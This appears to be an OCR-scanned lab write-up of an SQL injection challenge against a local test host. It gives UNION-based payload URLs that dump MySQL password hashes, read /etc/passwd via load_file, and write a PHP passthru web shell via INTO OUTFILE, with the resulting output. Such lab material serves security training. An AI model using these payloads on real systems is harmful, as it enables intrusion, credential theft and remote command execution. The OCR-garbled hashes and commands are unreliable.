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Challenge 6

http://192.168.2.11/sqli/sql9/ [Level: Advanced]

e Identify the database user and its privileges

http://192.168.2.11/sqli/sql9/search.php?job title=Database+Administrator%27union%20s
elect%20null,user%28%29%20%23

User is called super@localhost

http://192.168.2.11/sqli/sql9/search.php?job title=Database+Administrator%27union%20s
elect%20null,concat%28grantee,%27--%27,%20privilege type, %27--
%27,%20is _grantable%29%20FROM%20information schema.user privileges%23

User has FILE privileges which means he can read world readable files and can also call
statements like select into outfile.

http://192.168.2.11/sqli/sql9/search.php?job title=Database+Administrator%27union%20s
elect%20null,table schema%20from%20information schema.columns%20%23

User also has access to mysgl database

o  Where are the database passwords stored for database users?
Mysqgl.user

e QObtain the password hashes for all users

http://192.168.2.11/sqli/sql9/search.php?job title=Database+Administrator%27union%20s
elect%20null,concat%28user,%27--%27,password%29%20from%20mysal.user%20%23

[2)192.168.2.11/5qi/q19/search.php?job_title=Database+Administrator union select null,concat(user, -, password) from mysql.user %23} cle
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® Harry Clifford

& ® root—*81F5E21E35407D884A6CD4AA731AEBFB6AF209E1B
.-
® debian-sys-maint—-*CB7E01193623073A58CC8416113967CA1BDA9321

® sql_one--

® sql_one—-*CB23C51F5F242B9AB293EE91E2C63F5E9CFFADIF

® phpmyadmin--*2470C0C06DEE42FD1618BB9900SADCA2ECIDIEL

® nss—*9CD2C8AB9051908ECFD66B2E6F8DE7B2768CDEDB

® one--*74445CD742AF268FD22866DA0D12758951D638F7

o four—*8B8F52FDEFE3AB828C814DDA9A27CC4D9355C89B

® Sive--*C5A78B0666272DDDDEFAFA491D9527439267A27A

® six—*2FCD684039285361E47CDD7ACDD482D62E565D5E

® S1x--*2FCD684039285361E47CDD7ACDDA482D62E565D5E

e Identify what type of hash is it? What is the value of salt?
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SHAL. There is no salt

What is the password for user root?
root

Read the file /etc/passwd

http://192.168.2.11/sqli/sql9/search.php?job title=Database+Administrator%27union%20s
elect%20null,load file%28%27/etc/passwd%27%29%20%20%23

€ | @ 1921682.11/5q]i/5q19/search.php?job_title=Databs union select nullload_file(/etc/passwd’) from mysgl.user %23 cle|l
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 Vivian Dickens
® Harry Clifford
:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x
/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache

/man:/bin/sh |p:x:7:7:p:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:
/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-
data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/s!
irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:103:106::/var/run/dbus:/bin/false whoopsie:x:104:107::/nonexistent:/bin/false
landscape:x:105:110::/var/lib/landscape:/bin/false sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:107:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash tube:x:1000:1000:tube,,,:/home/tube:
/bin/bash

Create a file with your “name.txt” in http://192.168.2.11/sqli/sql9/tmp/

http://192.168.2.11/sqli/sql9/search.php?job title=Project+Manager%27%20union%20selec
1%20null,%20%27SQLI1%20Labs%20rock!1%27%20into%200utfile%20%27 /var/www/sqli/sql9
/tmp/sali.txt%27%23
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6 % 192.168.2.11/5qli/sgl9/tmp/
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Index of /sqli/sql9/tmp

Name Last modified Size Description
a Parent Directorv -
@ lib postgresgludf svs.so 11-Sep-2013 20:33 10K
@ libsduge.so 11-8ep-2013 20:54 77K
@ libsenws.so 11-Sep-2013 2043 77K
@ libspgki.so 11-Sep-2013 21:03 6 4K
@ libspukl so 12-Sep-2013 09:06 7.7TK
sqlitxt 14-5ep-2013 15:23 37
udf.txt 11-Sep-2013 20:49 0

Apache/2.2.22 (Ubuntu) Server at 192.168.2.11 Port 80

e  What is the output of uname —a on database host?

We will create a simple php code <?php passthru(‘uname —a’)?> into a php file by using select
into outfile and then execute the php file.

http://192.168.2.11/sqli/sql9/search.php?job title=Project+Manager%27%20union%20select%2
Onull,%20%27%3C?php%20passthru%28%22uname%20-
a%22%29?%3E%27%20into%200utfile%20%27/var/www/sqli/sql9/tmp/sqli.ohp%27%23

15 9192.168.2.11/5qli/5q19/search.php?job_title=Project+ Manager' union select null, '<Zphp passthru("uname -a")?>" into outfile /var/www/sqli/sql9/tmp/sgli.php'%
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\} ¢

Query didn't return any result
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& | @ 192168211/5qli/5q19/tmp/sqli.php
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Melinda Clifford "N Linux ub3r 3.8.0-29-generic #42~precisel-Ubuntu SMP Wed Aug 14 16:19:23 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

Further reading:

http://www.notsosecure.com/blog/2008/04/15/database-password-hashes-cracking/

http://blog.rootcon.org/2012/03/sql-injection-using-mysql-loadfile-and.html

http://www.securitytube.net/video/1870

http://websec.wordpress.com/2007/11/17/mysqgl-into-outfile/
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